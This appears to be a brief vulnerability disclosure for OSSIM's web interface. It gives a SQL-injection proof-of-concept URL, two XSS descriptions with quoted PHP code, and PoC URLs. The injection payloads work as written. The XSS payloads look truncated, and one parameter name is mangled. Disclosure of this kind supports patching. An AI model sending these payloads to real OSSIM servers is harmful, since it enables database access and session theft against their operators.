#### SQL-Injection 01 #### https://www.example.com/ossim/forensics/base_qry_main.php?clear_allcriteria=1&num_result_rows=-1&submit=Query+DB¤t_view=-1&sort_order=time_d&time[0][0]=1=1) LIMIT 1--+&time[0][1]=%3E=&time[0][2]=04&time[0][3]=24&time[0][4]=2012&time[0][5]=3&time[0][6]=3&time[0][7]=3&time[0][8]=+&time[0][9]=+&time_range=today&hmenu=Forensics&smenu=Forensics #### 01 - XSS #### ----- vuln code ----- The 'url' parameter on the top.php page is vulnerable to XSS. Authentication is needed. if ($url != "") { $url_check = preg_replace("/\.php.*/",".php",$url); if (!file_exists($url_check)) { echo _("Can't access to $url_check for security reasons"); exit; } } ----- PoC ----- https://www.example.com/ossim/top.php?option=3&soption=3&url='" #### 02 - XSS #### ----- vuln code ----- The 'time[0][0]' parameter on the base_qry_main.php and a wrong error handling makes a XSS possible. Authentication is needed. // includes/base_db.inc.php if ((!$rs || $this->baseErrorMessage() != "") && $die_on_error) { echo ' ' . gettext("Database ERROR:") . '' . $this->baseErrorMessage() . '' . '
' . ($debug_mode > 0 ? ($this->lastSQL) . $limit_str : "") . '
'; die(); } else { return $rs; } } ----- PoC ----- https://www.example.com/ossim/forensics/base_qry_main.php?clear_allcriteria=1&num_result_rows=-1&submit=Query+DB¤t_view=-1&sort_order=time_d&time[0][0]=&time[0][1]=%3E=&time[0][2]=04&time[0][3]=24&time[0][4]=2012&time[0][5]=3&time[0][6]=3&time[0][7]=3&time[0][8]=+&time[0][9]=+&time_range=today&hmenu=Forensics&smenu=Forensics